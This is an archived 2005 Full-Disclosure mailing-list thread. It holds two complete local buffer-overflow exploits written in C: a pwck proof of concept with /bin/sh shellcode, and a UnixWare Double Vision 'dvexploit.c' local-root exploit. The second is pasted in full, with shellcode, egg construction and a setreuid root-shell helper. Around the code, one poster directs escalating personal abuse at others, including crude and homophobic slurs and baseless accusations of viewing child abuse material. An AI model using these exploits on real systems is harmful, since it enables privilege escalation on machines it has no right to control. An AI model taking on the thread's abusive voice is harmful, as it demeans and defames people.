Discussion:
PWCK Overflow POC Code Redhat/Suse older versions or something (maybe later too)
(too old to reply)
Day Jay
2005-05-07 01:03:26 UTC
Permalink
----snip----
//Chung's Donut Shop release !!
//Redhat/Suse PWCK Buffer overflow POC Code
//(PWCK is NOT SETUID) This isn't fake
//code I promise (it may be borrowed) ;) d4yj4y
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 1700; //the offset I first found worked
esp = sp();
ret = esp - offset;
buffer = malloc(2200);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2200; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1000; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[2200-1] = 0;
printf("d4yj4y fscked j00r mom!\n"); sleep(2);
execl("/usr/sbin/pwck", "pwck", buffer, 0);
free(buffer);
return 0;
}
----snip----




Yahoo! Mail
Stay connected, organized, and protected. Take the tour:
http://tour.mail.yahoo.com/mailtour.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Steve Friedl
2005-05-07 05:03:02 UTC
Permalink
Post by Day Jay
//(PWCK is NOT SETUID) This isn't fake
//code I promise (it may be borrowed) ;) d4yj4y
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
Wow.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-09 15:38:10 UTC
Permalink
I stole it, but it works, and that's all that matters
dickwad.
On Fri, May 06, 2005 at 06:03:26PM -0700, Day Jay
Post by Day Jay
//(PWCK is NOT SETUID) This isn't fake
//code I promise (it may be borrowed) ;) d4yj4y
It may or may not be fake, but you are an
Post by Day Jay
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
Wow.
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Micheal Espinola Jr
2005-05-09 16:11:53 UTC
Permalink
...and nonconstructive criticism is the hallmark of an ass. In the
spirit of true "hacking", why don't you help him with his code?
"It works is all that matters" is the hallmark of an amateur.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Steve Friedl
2005-05-09 15:46:42 UTC
Permalink
Post by Day Jay
I stole it, but it works, and that's all that matters
"It works is all that matters" is the hallmark of an amateur.

Steve

---
Stephen J Friedl | Security Consultant | UNIX Wizard | +1 714 544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft MVP | ***@unixwiz.net
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Brian Debottari
2005-05-09 20:39:47 UTC
Permalink
i think him using the name "d4yj4y" on his code says enough about his
status....
Post by Day Jay
I stole it, but it works, and that's all that matters
"It works is all that matters" is the hallmark of an amateur.
Steve
---
Stephen J Friedl | Security Consultant | UNIX Wizard | +1 714 544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft MVP |
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-09 17:09:59 UTC
Permalink
We all saw how short the code was I had for that pwck
buffer overflow exploit. He also hardcodes the stack
pointer, hahah.

----------MINE-----------------
#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 1700; //the offset I first found worked
esp = sp();
ret = esp - offset;
buffer = malloc(2200);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2200; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1000; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[2200-1] = 0;
printf("d4yj4y fscked j00r mom!\n"); sleep(2);
execl("/usr/sbin/pwck", "pwck", buffer, 0);
free(buffer);
return 0;
}
------------------HIS--------------

I have a feeling Steve was just mad mine was so short
compared to his, lol

THIS IS HIS LOCAL ROOT EXPLOIT:
/*
* dvexploit.c
*
* written by : Stephen J. Friedl
* Software Consultant
* 2000-06-24
* steve unixwiz net
*
* This program exploits the "Double Vision" system on
SCO
* Unixware 7.1.0 via a buffer overflow on the
"dvtermtype"
* program. Double Vision is like a "pcAnywhere for
UNIX",
* but quite a few programs in this distribution are
setuid
* root. The problem is that these programs were not
written
* with security in mind, and it's not clear that they
even
* need to be setuid root.
*
* This particular program exploits "dvtermtype" by
passing a
* very long second parameter that overflows some
internal
* buffer. This buffer is filled with a predicted
address
* of the shellcode, and the shellcode itself is
stored in
* a very long environment variable. This approach
makes
* the shellcode much easier to find.
*
* This shellcode was based directly on the great work
of
* Brock Tellier (btellier usa net), who seems to
spend a lot
* of time within with various SCO UNIX release.
Thanks!
*
* This shellcode runs /tmp/ui, which should be this
simple
* program:
*
* $ cd /tmp
* $ cat ui.c
* int main() { setreuid(0,0); system("/bin/sh");
return 0; }
* $ cc ui.c -o ui
*
* Brock's original work compiled this automatically,
but I
* prefer to do it by hand. A better approach is to do
the
* setreuid() in the shellcode and call /bin/sh
directly.
* Maybe another day.
*
* BUILD/TEST ENVIRONMENT
* ----------------------
*
* $ cc -v
* UX:cc: INFO: Optimizing C Compilation System (CCS)
3.2 03/03/99 (CA-unk_voyager5)
*
* $ uname -a
* UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
*
* from /usr/lib/dv/README
*
* DoubleVision for Character Terminals Release 3.0
* Last Update: December 7, 1999
*
* TUNING
* ------
*
* The default parameters to this program work on the
versions mentioned
* above, but for variants some tuning might be
required. There are three
* parameters that guide this program's operation:
*
* -a retaddr set the "return" address to the given
hex value,
* which is the address where we expect to find the
* exploit code in the environment. The environment
* is at a relatively fixed location just below
* 0x80000000, so getting "close" is usually
sufficient.
* Note that this address cannot have any zero bytes
* in it! We believe that the target code has enough
* padding NOP values to make it an easy target.
*
* -r retlen length of the overflowed "return address"
buffer,
* which is filled in with the address provided
above.
* Default = 2k, max = 5k.
*
* -l n slightly shift the alignment of the return
address
* buffer by 1, 2 or 3 in case the buffer that's
being
* overflowed.
*/

#include <stdlib.h>
#include <stdio.h>

/*-----------------------------------------------------------------------
* shellcode for SCO UnixWare
*
* The shellcode in the binary was derived from
assembler code
* below, and we put the asm() code inside the
function so we
* can disassemble it and get the binary bytes easier.
The code
* all should match, but the real original data is the
full
* asm() code.
*/
#if 1

static const char scoshell[] =

"\xeb\x19\x5e\x33\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11"

"\x33\xc0\xb0\x3b\x8d\x7e\x07\x53\x57\x56\x56\xeb\x10\xe8"
"\xe2\xff\xff\xff"
"/tmp/ui"
"\xaa\xaa\xaa\xaa"
"\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#else

extern char scoshell[];

static void foo()
{

asm("#-------------------------------------------");
asm("scoshell:");
asm(" jmp L1b"); /* go to springboard */
asm(" L2b: popl %esi"); /* addr of /tmp/ui */
asm(" xorl %ebx,%ebx"); /* %ebx <-- 0 */
asm(" movl %ebx, 7(%esi)"); /* mark end of string */
asm(" movl %ebx, 12(%esi)"); /* 0 to lcall addr */
asm(" movb %bl, 17(%esi)"); /* 0 to lcall sub addr
*/
asm(" xorl %eax,%eax"); /* %eax <-- 0 */
asm(" movb $0x3b, %al"); /* 0x3b = "execve" */
asm(" leal 7(%esi), %edi"); /* addr of NULL word */
asm(" pushl %ebx"); /* zero */
asm(" pushl %edi"); /* addr of NULL word */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" pushl %esi"); /* addr of "/tmp/ui" */
asm(" jmp L3b"); /* do OS call */
asm(" L1b: call L2b");
asm(" .ascii \"/tmp/ui\""); /* %esi */
asm(" .4byte 0xaaaaaaaa"); /* %esi[ 7] */
asm(" L3b: lcall $0xaa07,$0xaaaaaaaa"); /* OS call */
asm(" .byte 0x00"); /* endmarker */
asm("#-------------------------------------------");

}

#endif

#define NOP 0x90

static char *env[10], // environment strings
*arg[10]; // argument vector

/*------------------------------------------------------------------------
* "Addr" is the predicted address where the shellcode
starts in the
* environment buffer. This was determined empirically
based on a test
* program that ran similarly, and it ought to be
fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long addr = 0x7ffffc04;

static char *exefile = "/usr/lib/dv/dvtermtype";

int main(int argc, char *argv[])
{
int c;
int i;
char egg[1024];
int egglen = sizeof egg - 1;
int retlen = 2048;
char retbuf[5000];
int align = 0;
char *p;

setbuf(stdout, (char *)0 );

while ( (c = getopt(argc, argv, "a:r:l:")) != EOF )
{
switch (c)
{
case 'a': addr = strtol(optarg, 0, 16); break;
case 'l': align = atoi(optarg); break;
case 'r': retlen = atoi(optarg); break;
}
}

if ( optind < argc )
exefile = argv[optind++];

printf("UnixWare 7.x exploit for suid root Double
Vision\n");
printf("Stephen Friedl <steve unixwiz net>\n");
printf("Using addr=0x%x retlen=%d\n", addr,
retlen);


/*---------------------------------------------------------------
* sanity check: the return buffer requested can't be
too big,
* and the address can't have any zero bytes in it.
*/
if ( retlen > sizeof(retbuf) )
{
printf("ERROR: retlen can't be > %d\n",
sizeof(retlen));
exit(1);
}

p = (char *)&addr;

if ( !p[0] || !p[1] || !p[2] || !p[3] )
{
printf("ERROR: ret address 0x%08lx has a zero
byte!\n", addr);
exit(1);
}


/*---------------------------------------------------------------
* Now create the "return" buffer that is used to
overflow the
* return address. This buffer really has nothing in
it other than
* repeated copies of the phony return address, and
one of them
* will overwrite the real %EIP on the stack. Then
when the called
* function returns, it jumps to our code.
*
* It's possible that this requires alignment to get
right, so
* the "-l" param above can be used to adjust this
from 0..3.
* If we're aligning, be sure to fill in the early
part of the
* buffer with non-zero bytes ("XXXX");
*/
strcpy(&retbuf, "XXXX");

for (i = align; i < retlen - 4; i += 4)
{
memcpy(retbuf+i, &addr, 4);
}
retbuf[i] = 0;

printf("strlen(retbuf) = %d\n", strlen( (char
*)retbuf) );


/*---------------------------------------------------------------
* The "egg" is our little program that is stored in
the environment
* vector, and it's mostly filled with NOP values but
with our little
* root code at the end. Gives a wide "target" to
hit: any of the
* leading bytes hits a NOP and flows down to the
real code.
*
* The overall buffer is
*
* X=################xxxxxxxxxxxxxxxxxxxxx\0
*
* where # is a NOP instruction, and "X" is the
exploit code. There
* must be a terminating NUL byte so the environment
processor does
* the right thing also.
*/
memset(egg, NOP, egglen);
memcpy(egg, "EGG=", 4);

// put our egg in the tail end of this buffer
memcpy(egg + (egglen - strlen(scoshell)- 1),
scoshell, strlen(scoshell));

egg[egglen] = '\0';

/* build up regular command line */

arg[0] = exefile;
arg[1] = "dvexploit"; /* easy to find this later */
arg[2] = (char *)retbuf;
arg[3] = 0;


/*---------------------------------------------------------------
* build up the environment that contains our
shellcode. This
* keeps it off the stack.
*/
env[0] = egg;
env[1] = 0;

execve(arg[0], arg, env);
}
Please teach me to be like you, I'm striving to be
as
good as you Steve. You obviously are my master.
I bow to you.
Please teach me! Your code is sooo l33t!
On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay
Post by Day Jay
I stole it, but it works, and that's all that
matters
"It works is all that matters" is the hallmark of
an
amateur.
Steve
---
Stephen J Friedl | Security Consultant | UNIX
Wizard | +1 714 544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam
protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia -
http://secunia.com/
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
V***@vt.edu
2005-05-09 18:11:57 UTC
Permalink
Post by Day Jay
We all saw how short the code was I had for that pwck
buffer overflow exploit. He also hardcodes the stack
pointer, hahah.
Note that there's absolutely nothing wrong with hardcoding the
stack pointer when the ABI makes it impossible for it to have
any other value. And if you actually knew C well enough to read
the code, you'd see:

/*------------------------------------------------------------------------
* "Addr" is the predicted address where the shellcode starts in the
* environment buffer. This was determined empirically based on a test
* program that ran similarly, and it ought to be fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long addr = 0x7ffffc04;

So there's a default value, and a documented -a switch to change it if needed.

Compare and contrast this with:

offset = 1700; //the offset I first found worked

Who's doing the hardcoding here? Steve or the guy who's code you ripped off?
Day Jay
2005-05-09 18:22:46 UTC
Permalink
Jesus H. Christ!

I never "claimed" to be a master at c coding or being
the greatest like this guy did and he *still*
hardcoded his shit and he's probably still mad.

My code was short and sweet and worked, and it just
demonstrated the bug. I never claimed to be a master
c-coder. In fact, I never claim/ed to know how to code
at all and people keep insisting I'm so good. :p

Everyone so far has gone off topic about the original
message which was the POC code about the PWCK program
that was flawed and then everyone decided to go dick
waving for NO REASON. Maybe it's because you guys
aren't getting laid or your anal adventures have had
some downtime, who knows. So, my code works, and if
people want to claim to be so good, go ahead-show us
something though and stop talking and thinking you are
so good.


d.
"Whitehats have the tendency to be scared/unable to
apply black arts and instead clasp their theories and
what ifs still never knowing what it was like to hack"
Post by V***@vt.edu
Post by Day Jay
We all saw how short the code was I had for that
pwck
Post by Day Jay
buffer overflow exploit. He also hardcodes the
stack
Post by Day Jay
pointer, hahah.
Note that there's absolutely nothing wrong with
hardcoding the
stack pointer when the ABI makes it impossible for
it to have
any other value. And if you actually knew C well
enough to read
/*------------------------------------------------------------------------
Post by V***@vt.edu
* "Addr" is the predicted address where the
shellcode starts in the
* environment buffer. This was determined
empirically based on a test
* program that ran similarly, and it ought to be
fairly consistent.
* This can be changed with the "-a" parameter.
*/
static long addr = 0x7ffffc04;
So there's a default value, and a documented -a
switch to change it if needed.
offset = 1700; //the offset I first found worked
Who's doing the hardcoding here? Steve or the guy
who's code you ripped off?
__________________________________
Do you Yahoo!?
Yahoo! Mail - You care about security. So do we.
http://promotions.yahoo.com/new_mail
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
V***@vt.edu
2005-05-09 18:43:48 UTC
Permalink
Post by Day Jay
I never "claimed" to be a master at c coding or being
the greatest like this guy did and he *still*
hardcoded his shit and he's probably still mad.
No, hardcoded would be if you removed this line of code:

case 'a': addr = strtol(optarg, 0, 16); break;

What he's got is called a *default value*.

If you can't tell which is which, it might be a good idea to not bring it
up any further. If you're going to try to insult somebody by accusing them
of something (like "hardcoding"), you could either do the world a favor and
make sure you understand the meaning of the accusation, or be *creative*:
http://asmallvictory.net/archives/006323.html (See the entry about Florida's
Senator George Smathers about half-way down).

(Hints for the unclued: Try getting your code to run with a different value
than '1700' without either recompiling or using a hex editor. Then get his code
to run with a different value using '-a'. Then read this:

http://catb.org/~esr/jargon/html/H/hardcoded.html

and let us know when you've figured it out....)
Day Jay
2005-05-09 16:42:07 UTC
Permalink
Stevie Wonder,

Don't take your sexual frustrations out on me old man!
Nice website!

Sorry to inform you but all of your accomplishments
throughout your mediocre professional life amount to
nothing more than a few minutes of actual skill..

Your "MVP" award is the biggest piece of crap I've yet
to hear about and the fact that you think you got root
on vi and all of that when you were younger just makes
me laugh. What you think you have accomplished even
makes me giggle.

Kinda also like all of the security work you have done
in the past years. Your releases have been nothing
short of crap!!

One would think that someone with as much "knowledge
and skill" and know-how you claim to have, you would
have something impressive under your belt but the only
thing I really see is a lame whitehat who thinks that
making a living ripping off home users in his
neighborhood is high class.

You're just a mediocre fat fuck who failed miserably
in life and everyone on here has years on you old man.

But hey, we're still learning.

Keep up the good work on your website!! You really
have accomplished a lot in your life!
On Fri, May 06, 2005 at 06:03:26PM -0700, Day Jay
Post by Day Jay
//(PWCK is NOT SETUID) This isn't fake
//code I promise (it may be borrowed) ;) d4yj4y
It may or may not be fake, but you are an
Post by Day Jay
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
Wow.
Yahoo! Mail
Stay connected, organized, and protected. Take the tour:
http://tour.mail.yahoo.com/mailtour.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
imipak
2005-05-09 16:09:52 UTC
Permalink
Please teach me to be like you, I'm striving to be as
good as you Steve. You obviously are my master.
I bow to you.
Please teach me! Your code is sooo l33t!
Have you read this?

http://www.unixwiz.net/about/#security


So what exactly have _you_ contributed to the world in the last 25 years?


\a
--
And what exactly is a dream?
And what exactly is a joke?
- Syd Barrett
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-09 15:59:36 UTC
Permalink
Please teach me to be like you, I'm striving to be as
good as you Steve. You obviously are my master.

I bow to you.

Please teach me! Your code is sooo l33t!
On Mon, May 09, 2005 at 08:38:10AM -0700, Day Jay
Post by Day Jay
I stole it, but it works, and that's all that
matters
"It works is all that matters" is the hallmark of an
amateur.
Steve
---
Stephen J Friedl | Security Consultant | UNIX
Wizard | +1 714 544-6561
www.unixwiz.net | Tustin, Calif. USA | Microsoft
__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-09 17:38:08 UTC
Permalink
I advise everyone to check out o'great Steve's site
and I have never seen such a celebration of mediocrity
and unutilized "knowledge" anywhere else in my life.
If I was even convinced of 1% of what skills he claims
to have, then there would be much more under that
fatman's belt.

oh, what I won't tell you is what makes me so great.
Wish I could, but I would never give you that time of
day. Sorry.

Just because you met fat Steve and he was nice,
doesn't make him special at all. You should get out
more and meet more people-that's the only advice I
could give you.

Let's keep the ass-kissing to a min. pls kthxbye
Day jay, you may find it fun to criticize those
recognized by Microsoft, but let me remind you that
Steve has done more to help computer security then
you will ever dream of accomplishing. He has
forgotten more about computers then you will ever
learn. I have met Steve, and he is a very nice man.
Steve is a very successful person, contrary to your
opinion of the alternative. I am surprised that
people still hold you in any form of regard, after
you acting like a complete asshole during your dumb
shellcode-masked backdoor incident. However, I do
not know enough about you to categorize you as a
jerk. What do you do for a living? What makes you so
special that you can criticize a successful,
intellegent man for your personal satisfaction, or
are you just a hypocrite? Tell me, oh "1337" one.
Paul
-------------- Original message from Day Jay
Post by Day Jay
We all saw how short the code was I had for that
pwck
Post by Day Jay
buffer overflow exploit. He also hardcodes the
stack
Post by Day Jay
pointer, hahah.
----------MINE-----------------
#include
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
Post by Day Jay
"\x68";
unsigned long sp(void)
{ __asm__("movl %esp, %eax");}
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 1700; //the offset I first found worked
esp = sp();
ret = esp - offset;
buffer = malloc(2200);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2200; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1000; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[2200-1] = 0;
printf("d4yj4y fscked j00r mom!\n"); sleep(2);
execl("/usr/sbin/pwck", "pwck", buffer, 0);
free(buffer);
return 0;
}
------------------HIS--------------
I have a feeling Steve was just mad mine was so
short
Post by Day Jay
compared to his, lol
/*
* dvexploit.c
*
* written by : Stephen J. Friedl
* Software Consultant
* 2000-06-24
* steve unixwiz net
*
* This program exploits the "Double Vision" system
on
Post by Day Jay
SCO
* Unixware 7.1.0 via a buffer overflow on the
"dvtermtype"
* program. Double Vision is like a "pcAnywhere for
UNIX",
* but quite a few programs in this distribution
are
Post by Day Jay
setuid
* root. The problem is that these programs were
not
Post by Day Jay
written
* with security in mind, and it's not clear that
they
Post by Day Jay
even
* need to be setuid root.
*
* This particular program exploits "dvtermtype" by
passing a
* very long second parameter that overflows some
internal
* buffer. This buffer is filled with a predicted
address
* of the shellcode, and the shellcode itself is
stored in
* a very long environment variable. This approach
makes
* the shellcode much easier to find.
*
* This shellcode was based directly on the great
work
Post by Day Jay
of
* Brock Tellier (btellier usa net), who seems to
spend a lot
* of time within with various SCO UNIX release.
Thanks!
*
* This shellcode runs /tmp/ui, which should be
this
Post by Day Jay
simple
*
* $ cd /tmp
* $ cat ui.c
* int main() { setreuid(0,0); system("/bin/sh");
return 0; }
* $ cc ui.c -o ui
*
* Brock's original work compiled this
automatically,
Post by Day Jay
but I
* prefer to do it by hand. A better approach is to
do
Post by Day Jay
the
* setreuid() in the shellcode and call /bin/sh
directly.
* Maybe another day.
*
* BUILD/TEST ENVIRONMENT
* ----------------------
*
* $ cc -v
* UX:cc: INFO: Optimizing C Compilation System
(CCS)
Post by Day Jay
3.2 03/03/99 (CA-unk_voyager5)
*
* $ uname -a
* UnixWare foo 5 7.1.0 i386 x86at SCO UNIX_SVR5
*
* from /usr/lib/dv/README
*
* DoubleVision for Character Terminals Release 3.0
* Last Update: December 7, 1999
*
* TUNING
* ------
*
* The default parameters to this program work on
the
Post by Day Jay
versions mentioned
* above, but for variants some tuning might be
required. There are three
*
* -a retaddr set the "return" address to the given
hex value,
* which is the address where we expect to find the
* exploit code in the environment. The environment
* is at a relatively fixed location just below
* 0x80000000, so getting "close" is usually
sufficient.
* Note that this address cannot have any zero
bytes
Post by Day Jay
* in it! We believe that the target code has
enough
Post by Day Jay
* padding NOP values to make it an easy target.
*
* -r retlen length of the overflowed "return
address"
Post by Day Jay
buffer,
* which is filled in with the address provided
above.
* Default = 2k, max = 5k.
*
* -l n slightly shift the alignment of the return
address
* buffer by 1, 2 or 3 in case the buffer that's
being
* overflowed.
*/
=== message truncated ===>
_______________________________________________
Full-Disclosure - We believe in it.
http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia -
http://secunia.com/


__________________________________________________
Do You Yahoo!?
Tired of spam? Yahoo! Mail has the best spam protection around
http://mail.yahoo.com
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Tim O'Guin
2005-05-09 17:44:41 UTC
Permalink
Step One: Stop responding to the troll.
Step Two: Stop reading anything posted by the troll.
Step Three: ?
Step Four: Profit!
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Day Jay
2005-05-09 18:59:16 UTC
Permalink
It was figured out long ago pal, the fact of the
matter is and that I pointed out numbskull is that he
should automate getting of the stack pointer like all
of the other one's do. It's a default value hardcoded
in..let it go.

You and your gay lover can continue looking at kiddie
porn now.
Post by Day Jay
I never "claimed" to be a master at c coding or
being
Post by Day Jay
the greatest like this guy did and he *still*
hardcoded his shit and he's probably still mad.
No, hardcoded would be if you removed this line of
case 'a': addr = strtol(optarg, 0, 16); break;
What he's got is called a *default value*.
If you can't tell which is which, it might be a good
idea to not bring it
up any further. If you're going to try to insult
somebody by accusing them
of something (like "hardcoding"), you could either
do the world a favor and
make sure you understand the meaning of the
http://asmallvictory.net/archives/006323.html (See
the entry about Florida's
Senator George Smathers about half-way down).
(Hints for the unclued: Try getting your code to
run with a different value
than '1700' without either recompiling or using a
hex editor. Then get his code
to run with a different value using '-a'. Then read
http://catb.org/~esr/jargon/html/H/hardcoded.html
and let us know when you've figured it out....)
__________________________________
Yahoo! Mail Mobile
Take Yahoo! Mail with you! Check email on your mobile phone.
http://mobile.yahoo.com/learn/mail
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
V***@vt.edu
2005-05-09 20:09:01 UTC
Permalink
Post by Day Jay
It was figured out long ago pal, the fact of the
matter is and that I pointed out numbskull is that he
should automate getting of the stack pointer like all
of the other one's do.
Except the code you were penis-extender-waving around as
an example of how you have to steal lame exploits you can't
even fix.

Figure out how to get that 1700 automated in *your* code, and then
we'll talk.

(I'd not get on your case about it, except that the code you
posted has *more* hardcoding in it than the code you're complaining
about).
Post by Day Jay
It's a default value hardcoded
in..let it go.
So now you're admitting it's a default value, not a hardcoded one?
Whatever happened to standing up for your position? (And you're still
missing the point - if it's a changeable value with a default, it's not
hardcoded).
Post by Day Jay
You and your gay lover can continue looking at kiddie
porn now.
When all else fails, resort to ad hominem attacks. You know, with
a bad attitude like that, it's not surprising that you can't get
access to any better exploits to steal.
Day Jay
2005-05-09 20:55:53 UTC
Permalink
Is it the fact that you aren't American or don't know
English an issue for you? You sure are coming up with
many things that I never stated or said.

It's apparent that you need to get a life and find
better things to do than to try to make up stories and
come up with false details of what you think is going
on.

Get a life.

Since when did you even think that was an exploit?
Hahah!

Yeah, like I really need to make the 1700 value
dynamic for you, my teacher, hahahaha! Again, get a
life. That's an exploit? Not really, not unless you
make it setuid, which with your depth of knowledge
seems like something, you might even accidentally do!


Oooh, and taking a stance?? On what? You read what I
wrote, now stop trying to put words into my mouth or
spread your false ideas. Obviously, you need more
English lessons.

Perhaps Steve was teaching you English since that's
something he does (per his website) and he probably
didn't even do a good job at that since you don't
comprehend anything.

Like I said, enough talk. Why don't you try to give
something to the list aside from your incessant praise
to a mediocre Unix traitor? If he's such a Unix guy,
then why is he wiping his arse with Microsoft toilet
paper?

Where are your exploits?

And gay jokes, yes, since it is obvious that you being
gay is an issue, I thought I would bring it up. (Don't
make me bring up the logs)

It's also not my fault you don't have access to any
real 0day so you can only try to heckle some out of me
but it's not going to work. Begging for 0day is the
only thing you will be doing the rest of your life.

I wouldn't give you any major 0day code. (believe you
me, I have plenty) And people like you are the reason
why I would never give up such. Remember, I said MAJOR
0day...don't get it twisted.

It's not my fault you're all butt hurt from running
the IIS 6 exploit and mailing the list your shadow
password file, lol or rming your home dirs.

And any educated person would be able to see that the
code was an attempt to educate...and I guess you
weren't even smart enough to be educated by it!

I never admitted anything, I told you to let it go.
All exploits now a days dynamically get the stack
pointer dumbass. The pwck buffer overflow example had
a hard coded "offset" - keyword, "offset" not stack
pointer you moron.

All you want to do is praise this guy, go ahead.
There's nothing valuable either of you two have done
with yourselves other than trying to save face and
justify a pretty mediocre existence. I'm sorry you
never made it in life don't take your frustrations out
on me.

And yes, your kiddie porn and "barely legal" porn
awaits back at your computer. That seems to be the
only thing you know how to work with since nothing
else has come from your "R&D".

Show me a real exploit, and then we'll talk. Until
then, sit down.

Please moderator, close this topic since all responses
to it have been off topic and displaying pure wannabes
angry at their own ability to find bugs or produce
something useful to the security community.
Post by V***@vt.edu
Post by Day Jay
It was figured out long ago pal, the fact of the
matter is and that I pointed out numbskull is that
he
Post by Day Jay
should automate getting of the stack pointer like
all
Post by Day Jay
of the other one's do.
Except the code you were penis-extender-waving
around as
an example of how you have to steal lame exploits
you can't
even fix.
Figure out how to get that 1700 automated in *your*
code, and then
we'll talk.
(I'd not get on your case about it, except that the
code you
posted has *more* hardcoding in it than the code
you're complaining
about).
Post by Day Jay
It's a default value
hardcoded
Post by Day Jay
in..let it go.
So now you're admitting it's a default value, not a
hardcoded one?
Whatever happened to standing up for your position?
(And you're still
missing the point - if it's a changeable value with
a default, it's not
hardcoded).
Post by Day Jay
You and your gay lover can continue looking at
kiddie
Post by Day Jay
porn now.
When all else fails, resort to ad hominem attacks.
You know, with
a bad attitude like that, it's not surprising that
you can't get
access to any better exploits to steal.
Yahoo! Mail
Stay connected, organized, and protected. Take the tour:
http://tour.mail.yahoo.com/mailtour.html

_______________________________________________
Full-Disclosure - We believe in it.
